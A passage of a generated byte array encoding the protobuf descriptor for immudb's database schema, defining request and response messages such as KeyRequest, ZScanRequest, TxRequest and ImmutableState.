0x69,\n\t0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63,\n\t0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e,\n\t0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x84, 0x01, 0x0a, 0x0a, 0x4b, 0x65, 0x79, 0x52,\n\t0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20,\n\t0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78,\n\t0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07,\n\t0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73,\n\t0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74,\n\t0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x1e,\n\t0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01,\n\t0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3e,\n\t0x0a, 0x0e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,\n\t0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04,\n\t0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18,\n\t0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x59,\n\t0x0a, 0x11, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75,\n\t0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28,\n\t0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65,\n\t0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54,\n\t0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28,\n\t0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72,\n\t0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,\n\t0x74, 0x12, 0x39, 0x0a, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18,\n\t0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73,\n\t0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,\n\t0x52, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c,\n\t0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01,\n\t0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78,\n\t0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65,\n\t0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x6b, 0x65, 0x79, 0x52,\n\t0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79,\n\t0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75,\n\t0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63,\n\t0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65,\n\t0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x13, 0x0a, 0x11, 0x53, 0x65, 0x72, 0x76, 0x65,\n\t0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xc8, 0x01, 0x0a,\n\t0x12, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f,\n\t0x6e, 0x73, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x01,\n\t0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a,\n\t0x09, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03,\n\t0x52, 0x09, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x28, 0x0a, 0x0f, 0x6e,\n\t0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03,\n\t0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x6e, 0x75, 0x6d, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63,\n\t0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x6e, 0x75, 0x6d, 0x44, 0x61, 0x74, 0x61,\n\t0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0c, 0x6e, 0x75, 0x6d,\n\t0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x64, 0x61, 0x74,\n\t0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x44, 0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05,\n\t0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x44,\n\t0x69, 0x73, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x42, 0x0a, 0x0e, 0x48, 0x65, 0x61, 0x6c, 0x74,\n\t0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x74, 0x61,\n\t0x74, 0x75, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75,\n\t0x73, 0x12, 0x18, 0x0a, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01,\n\t0x28, 0x09, 0x52, 0x07, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x7a, 0x0a, 0x16, 0x44,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73,\n\t0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67,\n\t0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0f,\n\t0x70, 0x65, 0x6e, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x73, 0x12,\n\t0x36, 0x0a, 0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f,\n\t0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52,\n\t0x16, 0x6c, 0x61, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70,\n\t0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x6d, 0x75,\n\t0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x64, 0x62,\n\t0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78,\n\t0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, 0x49, 0x64, 0x12, 0x16,\n\t0x0a, 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06,\n\t0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74,\n\t0x75, 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74,\n\t0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x2a,\n\t0x0a, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78,\n\t0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d,\n\t0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x12, 0x2e, 0x0a, 0x12, 0x70, 0x72,\n\t0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68,\n\t0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69,\n\t0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x22, 0xd5, 0x01, 0x0a, 0x10, 0x52,\n\t0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12,\n\t0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65,\n\t0x79, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b,\n\t0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65,\n\t0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18,\n\t0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62,\n\t0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62,\n\t0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69,\n\t0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12,\n\t0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73,\n\t0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74,\n\t0x69, 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f,\n\t0x6e, 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c,\n\t0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,\n\t0x74, 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65,\n\t0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65,\n\t0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x10, 0x72, 0x65,\n\t0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22,\n\t0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02,\n\t0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65,\n\t0x54, 0x78, 0x22, 0x8f, 0x01, 0x0a, 0x0b, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65,\n\t0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52,\n\t0x03, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x02, 0x20,\n\t0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65,\n\t0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04,\n\t0x61, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78,\n\t0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x05, 0x20, 0x01,\n\t0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06,\n\t0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f,\n\t0x57, 0x61, 0x69, 0x74, 0x22, 0x1d, 0x0a, 0x05, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x14, 0x0a,\n\t0x05, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, 0x52, 0x05, 0x73, 0x63,\n\t0x6f, 0x72, 0x65, 0x22, 0xf2, 0x02, 0x0a, 0x0c, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71,\n\t0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x65, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28,\n\t0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65,\n\t0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, 0x65, 0x79,\n\t0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x03, 0x20,\n\t0x01, 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x1a,\n\t0x0a, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04,\n\t0x52, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x12, 0x24, 0x0a, 0x0d, 0x69, 0x6e,\n\t0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, 0x05, 0x20, 0x01, 0x28,\n\t0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b,\n\t0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x04, 0x52,\n\t0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x07,\n\t0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x69,\n\t0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f,\n\t0x72, 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x30, 0x0a, 0x08,\n\t0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53,\n\t0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x18,\n\t0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52,\n\t0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61,\n\t0x69, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74,\n\t0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x04,\n\t0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74,\n\t0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65,\n\t0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, 0x0a, 0x06,\n\t0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66,\n\t0x66, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x03, 0x20,\n\t0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65,\n\t0x73, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x18,\n\t0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52,\n\t0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x15, 0x56, 0x65, 0x72, 0x69,\n\t0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,\n\t0x74, 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,\n\t0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65,\n\t0x73, 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12,\n\t0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18,\n\t0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63,\n\t0x65, 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73,\n\t0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74,\n\t0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63,\n\t0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70,\n\t0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12,\n\t0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04,\n\t0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57,\n\t0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69,\n\t0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e,\n\t0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x05, 0x20,\n\t0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e,\n\t0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xd9, 0x01,\n\t0x0a, 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x42, 0x0a,\n\t0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x01,\n\t0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63,\n\t0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70,\n\t0x65, 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65,\n\t0x63, 0x12, 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65,\n\t0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70,\n\t0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53,\n\t0x70, 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65,\n\t0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72,\n\t0x79, 